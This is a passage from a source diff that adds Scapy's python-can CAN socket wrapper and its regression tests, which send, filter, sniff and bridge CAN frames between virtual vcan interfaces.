sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() + +def bridgeWithRemovePackageFromVCan1ToVCan0(): + global bridgeStarted + bSock0 = CANSocket(iface="vcan0") + bSock1 = CANSocket(iface="vcan1") + def pnr(pkt): + if(pkt.identifier == 0x10050000): + pkt = None + else: + pkt = pkt + return pkt + bridgeStarted.set() + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.2) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan1ToVCan0) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan1) +bridgeStarted.wait() + +threadSender.start() + +packetsVCan0 = sock0.sniff(timeout=0.2) +len(packetsVCan0) == 3 + +sock0.close() +sock1.close() + +threadSender.join() +threadBridge.join() + +=bridge and sniff setup vcan0 and vcan1 package remove both directions +~ needs_root linux + +sock0 = CANSocket(iface="vcan0") +sock1 = CANSocket(iface="vcan1") + +def senderBothVCans(): + sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() + +def bridgeWithRemovePackageInBothDirections(): + global bridgeStarted + bSock0 = CANSocket(iface="vcan0") + bSock1 = CANSocket(iface="vcan1") + def pnrA(pkt): + if(pkt.identifier == 0x10020000): + pkt = None + else: + pkt = pkt + return pkt + def pnrB(pkt): + if (pkt.identifier == 0x10050000): + pkt = None + else: + pkt = pkt + return pkt + bridgeStarted.set() + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnrA, xfrm21=pnrB, timeout=0.2) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithRemovePackageInBothDirections) +threadBridge.start() +threadSender = threading.Thread(target=senderBothVCans) + +bridgeStarted.wait() + +packetsVCan0 = sock0.sniff(timeout=0.1, started_callback=threadSender.start) +packetsVCan1 = sock1.sniff(timeout=0.1) + +len(packetsVCan0) == 3 +len(packetsVCan1) == 5 + +sock0.close() +sock1.close() + +threadSender.join() +threadBridge.join() \ No newline at end of file diff --git a/libs/scapy/contrib/cansocket_python_can.py b/libs/scapy/contrib/cansocket_python_can.py new file mode 100755 index 0000000..63fc4b5 --- /dev/null +++ b/libs/scapy/contrib/cansocket_python_can.py @@ -0,0 +1,186 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.description = Python-Can CANSocket +# scapy.contrib.status = loads + +""" +Python-CAN CANSocket Wrapper. +""" + +import time +import struct +import threading +import copy + +from functools import reduce +from operator import add + +from scapy.config import conf +from scapy.supersocket import SuperSocket +from scapy.layers.can import CAN +from scapy.automaton import SelectableObject +from scapy.modules.six.moves import queue +from can import Message as can_Message +from can import CanError as can_CanError +from can import BusABC as can_BusABC +from can.interface import Bus as can_Bus + + +CAN_FRAME_SIZE = 16 +CAN_INV_FILTER = 0x20000000 + + +class SocketMapper: + def __init__(self, bus, sockets): + self.bus = bus + self.sockets = sockets + + def mux(self): + while True: + try: + msg = self.bus.recv(timeout=0) + if msg is None: + return + except Exception: + return + for sock in self.sockets: + if sock._matches_filters(msg): + sock.rx_queue.put(copy.copy(msg)) + + +class SocketsPool(object): + __instance = None + + def __new__(cls): + if SocketsPool.__instance is None: + SocketsPool.__instance = object.__new__(cls) + SocketsPool.__instance.pool = dict() + SocketsPool.__instance.pool_mutex = threading.Lock() + return SocketsPool.__instance + + def internal_send(self, sender, msg): + with self.pool_mutex: + try: + t = self.pool[sender.name] + except KeyError: + return + + try: + t.bus.send(msg) + for sock in t.sockets: + if sock != sender and sock._matches_filters(msg): + m = copy.copy(msg) + m.timestamp = time.time() + sock.rx_queue.put(m) + except can_CanError: + pass + + def multiplex_rx_packets(self): + with self.pool_mutex: + for _, t in self.pool.items(): + t.mux() + + def register(self, socket, *args, **kwargs): + k = str( + str(kwargs.get("bustype", "unknown_bustype")) + "_" + + str(kwargs.get("channel", "unknown_channel")) + ) + with self.pool_mutex: + if k in self.pool: + t = self.pool[k] + t.sockets.append(socket) + filters = [s.filters for s in t.sockets + if s.filters is not None] + if filters: + t.bus.set_filters(reduce(add, filters)) + socket.name = k + else: + bus = can_Bus(*args, **kwargs) + socket.name = k + self.pool[k] = SocketMapper(bus, [socket]) + + def unregister(self, socket): + with self.pool_mutex: + t = self.pool[socket.name] + t.sockets.remove(socket) + if not t.sockets: + t.bus.shutdown() + del self.pool[socket.name] + + +class SocketWrapper(can_BusABC): + """Socket for specific Bus or Interface. + """ + + def __init__(self, *args, **kwargs): + super(SocketWrapper, self).__init__(*args, **kwargs) + self.rx_queue = queue.Queue() # type: queue.Queue[can_Message] + self.name = None + SocketsPool().register(self, *args, **kwargs) + + def _recv_internal(self, timeout): + SocketsPool().multiplex_rx_packets() + try: + return self.rx_queue.get(block=True, timeout=timeout), True + except queue.Empty: + return None, True + + def send(self, msg, timeout=None): + SocketsPool().internal_send(self, msg) + + def shutdown(self): + SocketsPool().unregister(self) + + +class PythonCANSocket(SuperSocket, SelectableObject): + desc = "read/write packets at a given CAN interface " \ + "using a python-can bus object" + nonblocking_socket = True + + def __init__(self, **kwargs): + self.basecls = kwargs.pop("basecls", CAN) + self.iface = SocketWrapper(**kwargs) + + def recv_raw(self, x=0xffff): + msg = self.iface.recv() + + hdr = msg.is_extended_id << 31 | msg.is_remote_frame << 30 | \ + msg.is_error_frame << 29 | msg.arbitration_id + + if conf.contribs['CAN']['swap-bytes']: + hdr = struct.unpack("I", hdr))[0] + + dlc = msg.dlc << 24 + pkt_data = struct.pack("!II", hdr, dlc) + bytes(msg.data) + return self.basecls, pkt_data, msg.timestamp + + def send(self, x): + msg = can_Message(is_remote_frame=x.flags == 0x2, + is_extended_id=x.flags == 0x4, + is_error_frame=x.flags == 0x1, + arbitration_id=x.identifier, + dlc=x.length, + data=bytes(x)[8:]) + try: + x.sent_time = time.time() + except AttributeError: + pass + self.iface.send(msg) + + @staticmethod + def select(sockets, *args, **kwargs): + SocketsPool().multiplex_rx_packets() + return [s for s in sockets if isinstance(s, PythonCANSocket) and + not s.iface.rx_queue.empty()], PythonCANSocket.recv + + def close(self): + if self.closed: + return + super(PythonCANSocket, self).close() + self.iface.shutdown() + + +CANSocket = PythonCANSocket diff --git a/libs/scapy/contrib/cansocket_python_can.uts b/libs/scapy/contrib/cansocket_python_can.uts new file mode 100755 index 0000000..f4e3620 --- /dev/null +++ b/libs/scapy/contrib/cansocket_python_can.uts @@ -0,0 +1,806 @@ +% Regression tests for the CANSocket +~ vcan_socket + +# More information at http://www.secdev.org/projects/UTscapy/ + + +############ +############ ++ Configuration of CAN virtual sockets + += Load module +~ conf command +~ needs_root +~ linux + +conf.contribs['CAN'] = {'swap-bytes': False} +load_layer("can") +conf.contribs['CANSocket'] = {'use-python-can': True} +from scapy.contrib.cansocket_python_can import * +import can + += Setup string for vcan +~ conf command +bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" + += Load os +~ conf command +~ needs_root +~ linux + +import os +import threading +from time import sleep + += Setup vcan0 +~ conf command +~ needs_root +~ linux + +0 == os.system(bashCommand) + ++ Basic Packet Tests() += CAN Packet init +~ needs_root +~ linux + +canframe = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') +bytes(canframe) == b'\x00\x00\x07\xff\x08\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08' + ++ Basic Socket Tests() += CAN Socket Init +~ needs_root +~ linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + += CAN Socket send recv small packet +~ needs_root +~ linux + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) + sock2.close() + +thread = threading.Thread(target=sender) +thread.start() + +rx = sock1.recv() +rx.show() +bytes(rx) +rx == CAN(identifier=0x7ff,length=1,data=b'\x01') + + += CAN Socket send recv ISOTP_Packet +~ needs_root +~ linux + +from scapy.contrib.isotp import ISOTPHeader, ISOTP_FF + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + pkt = ISOTPHeader(identifier=0x7ff)/ISOTP_FF(message_size=100, data=b'abcdef') + pkt.show() + sock2.send(pkt) + sock2.close() + +thread = threading.Thread(target=sender) +thread.start() + +rx = sock1.recv() +rx.show() +bytes(rx) +rx == CAN(identifier=0x7ff,length=8,data=b'\x10\x64abcdef') + + += CAN Socket basecls test +~ needs_root linux + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +sock1.basecls = Raw +thread = threading.Thread(target=sender) +thread.start() +rx = sock1.recv() +rx == Raw(bytes(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'))) +sock1.basecls = CAN + += CAN Socket send recv +~ needs_root +~ linux + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) +thread.start() + +rx = sock1.recv() +rx == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') + +sock1.close() + += sniff with filtermask 0x7ff +~ needs_root +~ linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000, can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}])) + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) + +packets = sock1.sniff(timeout=0.1, started_callback=thread.start) +len(packets) == 3 + +sock1.close() + += sniff with filtermask 0x700 +~ needs_root +~ linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000, can_filters=[{'can_id': 0x200, 'can_mask': 0x700}])) + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + sock2.send(CAN(identifier=0x212, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x2ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x2aa, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) + +packets = sock1.sniff(timeout=0.1, started_callback=thread.start) +len(packets) == 4 + +sock1.close() + += sniff with filtermask 0x0ff +~ needs_root +~ linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000, can_filters=[{'can_id': 0x200, 'can_mask': 0xff}])) + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x301, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) + +packets = sock1.sniff(timeout=0.1, started_callback=thread.start) +len(packets) == 4 + +sock1.close() + += sniff with multiple filters +~ needs_root +~ linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000, + can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, + {'can_id': 0x400, 'can_mask': 0x7ff}, + {'can_id': 0x600, 'can_mask': 0x7ff}, + {'can_id': 0x7ff, 'can_mask': 0x7ff}])) + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x400, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x500, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x600, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x7ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) + +packets = sock1.sniff(timeout=0.1, started_callback=thread.start) +len(packets) == 4 + +sock1.close() + += sniff with filtermask 0x7ff and inverse filter +~ needs_root +~ linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000, + can_filters=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7ff}])) + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) + +packets = sock1.sniff(timeout=0.1, started_callback=thread.start) +len(packets) == 2 + +sock1.close() + += sniff with filtermask 0x1FFFFFFF +~ needs_root +~ linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000, + can_filters=[{'can_id': 0x10000000, 'can_mask': 0x1fffffff}])) + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + sock2.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) + +packets = sock1.sniff(timeout=0.1, started_callback=thread.start) +len(packets) == 2 + +sock1.close() + += sniff with filtermask 0x1FFFFFFF and inverse filter +~ needs_root +~ linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000, + can_filters=[{'can_id': 0x10000000 | CAN_INV_FILTER, 'can_mask': 0x1fffffff}])) + +def sender(): + sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + sock2.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) + +packets = sock1.sniff(timeout=0.1, started_callback=thread.start) +len(packets) == 4 + +sock1.close() + += CAN Socket sr1 with receive own messages +~ needs_root +~ linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000, receive_own_messages=True)) +tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') +rx = None +rx = sock1.sr1(tx) +tx == rx +#this test can be enabled after issue #1199 is fixed +#tx.sent_time < rx.time and tx == rx and rx.time > 0 + +sock1.close() + += srcan +~ needs_root +~ linux + +tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') +rx = None +rx = srcan(tx, iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000, receive_own_messages=True), timeout=1) +tx == rx[0][0][1] + += srcan basecls +~ needs_root +~ linux + +tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') +rx = None +rx = srcan(tx, iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000, receive_own_messages=True), timeout=1, basecls=Raw) +Raw(bytes(tx)) == rx[0][0][1] + + ++ bridge and sniff tests + += bridge and sniff setup vcan1 package forwarding +~ needs_root linux + +bashCommand = "/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'" +0 == os.system(bashCommand) + +sock0 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan1', bitrate=250000)) + +def senderVCan0(): + sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + +bridgeStarted = threading.Event() +def bridge(): + global bridgeStarted + bSock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) + bSock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + def pnr(pkt): + return pkt + bSock0.timeout = 0.01 + bSock1.timeout = 0.01 + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridge) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan0) +bridgeStarted.wait() + +packetsVCan1 = sock1.sniff(timeout=0.3, started_callback=threadSender.start) +len(packetsVCan1) == 6 + +sock1.close() +sock0.close() + +threadBridge.join() +threadSender.join() + += bridge and sniff setup vcan0 package forwarding +~ needs_root linux + +sock0 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan1', bitrate=250000)) + +def senderVCan1(): + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() +def bridge(): + global bridgeStarted + bSock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) + bSock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + def pnr(pkt): + return pkt + bSock0.timeout = 0.01 + bSock1.timeout = 0.01 + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridge) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan1) +bridgeStarted.wait() + +packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) +len(packetsVCan0) == 4 + +sock0.close() +sock1.close() + +threadBridge.join() +threadSender.join() + +=bridge and sniff setup vcan0 vcan1 package forwarding both directions +~ needs_root linux + +sock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) +sock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + + +def senderBothVCans(): + sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x30, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() +def bridge(): + global bridgeStarted + bSock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) + bSock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + def pnr(pkt): + return pkt + bSock0.timeout = 0.01 + bSock1.timeout = 0.01 + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridge) +threadBridge.start() +threadSender = threading.Thread(target=senderBothVCans) +bridgeStarted.wait() + +packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) +packetsVCan1 = sock1.sniff(timeout=0.3) +len(packetsVCan0) == 4 +len(packetsVCan1) == 6 + +sock0.close() +sock1.close() + +threadBridge.join() +threadSender.join() + +=bridge and sniff setup vcan1 package change +~ needs_root linux + +sock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) +sock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000, can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])) + +def senderVCan0(): + sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + +bridgeStarted = threading.Event() +def bridgeWithPackageChangeVCan0ToVCan1(): + global bridgeStarted + bSock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) + bSock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + def pnr(pkt): + pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' + pkt.identifier = 0x10010000 + return pkt + bSock0.timeout = 0.01 + bSock1.timeout = 0.01 + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.5, started_callback=bridgeStarted.set) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan0ToVCan1) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan0) +bridgeStarted.wait() + +packetsVCan1 = sock1.sniff(timeout=0.3, started_callback=threadSender.start) +len(packetsVCan1) == 6 + +sock0.close() +sock1.close() + +threadBridge.join() +threadSender.join() + +=bridge and sniff setup vcan0 package change +~ needs_root linux + +sock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) +sock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000, can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])) + +def senderVCan1(): + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() +def bridgeWithPackageChangeVCan1ToVCan0(): + global bridgeStarted + bSock0 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan0', + bitrate=250000)) + bSock1 = CANSocket( + iface=can.interface.Bus(bustype='socketcan', channel='vcan1', + bitrate=250000)) + def pnr(pkt): + pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' + pkt.identifier = 0x10010000 + return pkt + bSock0.timeout = 0.01 + 